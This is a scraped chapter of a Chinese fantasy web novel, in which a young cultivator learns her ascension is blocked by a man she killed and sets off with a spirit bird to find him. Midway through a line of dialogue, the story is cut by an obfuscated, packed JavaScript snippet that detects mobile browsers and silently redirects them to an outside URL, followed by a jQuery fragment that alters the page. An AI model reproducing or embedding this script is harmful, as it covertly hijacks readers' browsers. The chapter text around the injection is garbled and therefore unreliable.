默认冷灰
24号文字
方正启体

1. 寻人

作者:秸七本书字数:K更新时间:
    “你说什么?”余以若一脸惊颤,“我辛辛苦苦修练了那么久,积攒的那么多功德,就仅仅因为一个人废了?”


    面前的纸鸢鸟瑟瑟地点头,明黄的瞳仁闪烁不定,“姑且可以这么说,不过小主你别担心,还有转圜余地。”


    “是吗?”余以若嘴角抽了抽。


    修仙长路漫漫,她又比不得生来就是仙二代的仙族,鬼才知道,她为了修成仙费了多大功夫,


    今日竟然跟她说,她成不了了,还是因为一个被她失手杀了的人。


    这下可如何是好,余以若从凳子上站起来,在房间里头四处打转。


    作为全村的希望,她的族人还等着她升仙开席呢,这节骨眼上,碰上这么一着,摆明了是故意给她找茬。


    余以若咬牙切齿,“什么人呐,见过不要命的,直接送的简直是稀罕物,要不是他死得太快,我都想把他裱起来。”


    纸鸢看她绕了一圈又一圈,脑袋都要绕晕了,连连叼起桌上的一封信,塞到她手上,待她接过,纸鸢才开口说道,


    “师父说只要你把这个人救活,然后再保证他不死,给他一点补偿就好了,毕竟……”


    纸鸢用爪子刨了刨侧旁的木兰花,开口道:“他的阳寿还没有到,就这么白白死了,鬼王那边也不好交代。”


    余以若看着被它刨得残缺不堪的木兰,一把抱了过来,呼啦地吹了两口气。


    这盆兰花师父宝贝得不得了,还是下山游历的时候,说什么好友送的,但她哪信,


    一个素来寡淡,不问世事的人,平白无故对着兰花喃喃自语,其中定是有什么猫腻。


    用手扒拉起耷拉下来的叶子,给它渡上几道灵气,才渐渐地好转。


    这兰花祖宗要是有个三长两短,她余以若都要吃不了兜着走,稳妥地放好后,瞪了纸鸢一眼,


    “你的爪子是锄头吗?镶金边了还是怎么着,这东西你碰得碰不得,就你那小鸟肚,摸得比我还清楚。”


    纸鸢‘啾’地叫了声,看起来好不委屈。


    毕竟也是跟在师父身边上百年了的,通了灵智,争风吃醋嘛,倒也不怪它。


    余以若遂作罢,消了责备它的心思,想起过几日七大姑八大姨就要看她的笑话了,又闷闷不乐起来。


    纸鸢作势轻咳了几声,把她安置在旁的信推到她的眼前。


    眼底突兀地横过来一只爪子,余以若一怔,就见纸鸢谄媚地笑着,


    “小主,这封信你打开看看,说不定有什么额外收获呢。”


    “嗯,说的也是。”余以若立马拆开,抽出里面叠得方方正正的白纸,铺平在手上。


    站在她面前的纸鸢伸长脑袋,透过纸背打量着里面的内容,


    正看得仔细,冷不防“嘭”的一声,余以若把信甩到桌面,梨木圆桌陡然龟裂了几道细小的纹路。


    纸鸢惯性地撤后几步,待退到安全距离了,才敢去看她的脸,弱弱地开口,“小主,何事让你这么大动肝火。”


    余以若深吸一口气,“你可是不知,那个苏远知道我飞升不了了,连婚约都给我取消了,


    还不是他费而巴劲地讨好我娘,把我娘哄得一愣一愣的,这门亲事就这么定下了,


    现在好了,我都才刚接到飞升不了的消息,他就来和我退婚,退就退嘛,


    还大言不惭说什么是我看不上他,更瞧不起他是个平平无奇的凡人,两人之间鸿沟都快比得上一条银河了,配不上,整得他有多委屈,多遭人稀罕似的。”


    “就是,这种人,咱们还不要。”纸鸢为她打抱不平道,“丢到大街上都没人看一眼。”


    见她又不说话了,纸鸢轻轻地飞过去,拍了拍她的肩头,安慰道,“你也别太伤心了。”


    “嗯,不伤心。”余以若愤然起身朝里屋走去,过了一会儿,背了个包袱出来。


    纸鸢一愣,“你这是……要叛师出逃了?”


    “神经!”


    余以若拎起它的脖子,另一只手捏上那封信,


    “我们去找那个碰瓷王,再接着去给那个苏什么远的人个下马威。”


    “余以若,你给我松开,要断气了,断气了,快点。”


    纸鸢奋力扑腾着翅膀,扇下几根明黄色的羽毛,纸鸢惋惜地看了几眼,立马跟上余以若的步伐。


    ……


    她们扶光宗虽是小门小派,比不得声名赫赫的天玄宗,但胜在有青阳道长坐镇,也就是她的师父,近几年来也愈发地蒸蒸日上,颇有崛起之秀的势头。


    只不过经费确实太寒酸,又是位居青鸾峰,地势高峻,骨石耸立,料峭寒凉是出了名的,


    于是每当别人提起扶光宗,总要揶揄一番,说什么又光又凉,连年招不到生源。


    而余以若便是青阳道长下山云游时,瞧着她根骨奇特,资质极佳,是能造之材,便把她拐到山上来了,成为了他座下寥寥无几的徒弟之一。


    掩上门,落好锁,余以若才敢放心地下山。


    只因,全山上下,也就只有她一个活人在,那些师兄师姐飞升的飞升,历练的历练,就最小的师妹都下山探亲去了,扶光宗也就剩了她一个守山。


    虽说扶光宗穷得叮当响,不担心有人来偷,但以防万一,她还是老老实实地布好结界,而后才敢大跨步地下山。


    纸鸢长鸣一声,火速飞到她的肩头站定,“你知道在哪吗?”望着一望无际的山头,它有些摸不着头脑,“我们这样去是不是大海捞针?”


    “是嚯。”余以若的脚步猛地刹住,幽幽地看向了纸鸢。


    纸鸢还来不及飞走,就被她轻车熟路地抓住了爪子,余以若脸上扬起奉承的笑,


    “大鸟呀大鸟,你不是最能识路了吗,找个人不成问题吧,就先从那个碰瓷王找起。”


    余以若把纸鸢拽到跟前,大眼瞪小眼,纸鸢一口否决,“耗命的事我不干。”


    “大鸟,好鸟,漂亮的鸟”,余以若哀求着。


    纸鸢睁着半只眼看她,见她态度着实诚恳,心下有些迟疑,没想到,


    下一秒,她换了副面容,阴恻恻地露出右手,慢慢地靠近它引以为傲的羽毛,“啊啊啊,别,我答应你,答应你。”


    余以若松口气,把右手老实地放了下来,“早说嘛。”


    纸鸢抖了抖身子,又飘下几根毛,它惋惜地看着,又见罪魁祸首好整以暇地命令着它,“快点,把你的能力展示出来,找到那个人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447522|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    纸鸢暗暗发誓,定要让这不知天高地厚的丫头尝尝苦头。


    冲天的鸢鸣蹿上云天,余以若追着它的影子,快步跟了上去。


    她自打记事起就极少下山,倒也不是修练苛刻,扪心自问,她们修仙门派虽说吊儿郎当的,但是人文关怀是实打实的好,更不是传统意义上的隔绝世外。


    是以,多半时候,他们还是能下山走亲访友的。


    而她因为路痴外加方向感不好,时常迷路,害得她的那些师长不是在找她,就是在找她的路上,最后实在没辙了,把这只叫做纸鸢,长得也像纸鸢的大鸟送给了她。


    实在是一块活生生的指南针,只要有余下那人气息的物件,无论是死人还是活人,抑或是神魔鬼怪,大鸟都能找到。


    只不过,按理来说,余以若上次失手杀的一个人,此时应该是在阴曹地府啊,再不济也是安葬岗啊,眼前翠绿悠然的小竹林又是怎么回事?


    “大鸟,你是不是带错地方了。”余以若一脸诧异地看向落在枝头的黄鸟,“你是不是看岔了。”


    纸鸢一听就来气了,虽然它想让她吃苦头,但也不是这么见不得人的手段,登时扑到她跟前,


    怒道,“我活了几百年,就没出错过,余以若,你质疑我的毛长得不光亮,你也不能质疑我的能力。”


    余以若往前走了几步,看着眼前艳阳普照,正道盎然的样子,愕然道,“死得不够透的鬼才会来这吧。”


    纸鸢闻言也歪起脖子看了几眼,有些怀疑地看了看自己的翅膀,喃喃道,“不对啊,他的气息应该就是这里啊,你是不是给错剑了。”


    余以若顿下脚步,拔出剑,当日沾染的血迹虽然被擦净了,但是她的剑也就砍过这么一个人,会不会是哪里出错了?


    正想着,天穹滚过几声闷雷,裹挟着斜细的雨丝坠了下来,将四下浇灌得愈加昏沉,还有两只落汤鸡。


    余以若匆匆忙忙地扎到一棵大树下避雨,抬头看了看天,“我们短时间就别有这么个出去的念头了。”


    站在她肩头的纸鸢原本胖乎乎的模样,浇了水,霎时干瘪了下去,看起来滑稽得很,偏生还挺拔地站着,倒也不是别的,只因树上有好几只鸟正往下看。


    余以若倒是没瞧出它的奇葩点,而是觉得自己肩头变得愈发重,好似强压着把她摁到地上去一般,就在眨眼间,天色突地又放晴,膝盖一软,余以若直挺挺地跪了下去。


    两人俱是一愣,正要起身,纸鸢烘干的羽毛陡然竖起,连忙将余以若连拖带拽地扯到后面的草垛子里。


    “怎么……”


    纸鸢神情紧张地捂住她的口,摇了摇头,示意她别出声。


    余以若登时心慌起来,师父给她的这只大鸟可不仅仅只是指路这么简单,她倒是见过这只鸟的实力,就算几个师兄联手和它打起来,也不是它的对手,现在它抖成这样,前面又发生了什么。


    正疑惑间,地上升起几团黑雾,顷刻间炸开,盖了满满一地,落叶适时地开始抖动起来,竟连树上的鸟都扑哧起翅膀飞开,偶有一两只竟朝相反的方向跑去。


    随着鸟声嘎然止住,扒开草垛的间隙,余以若看到了一支队伍,还有一个人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)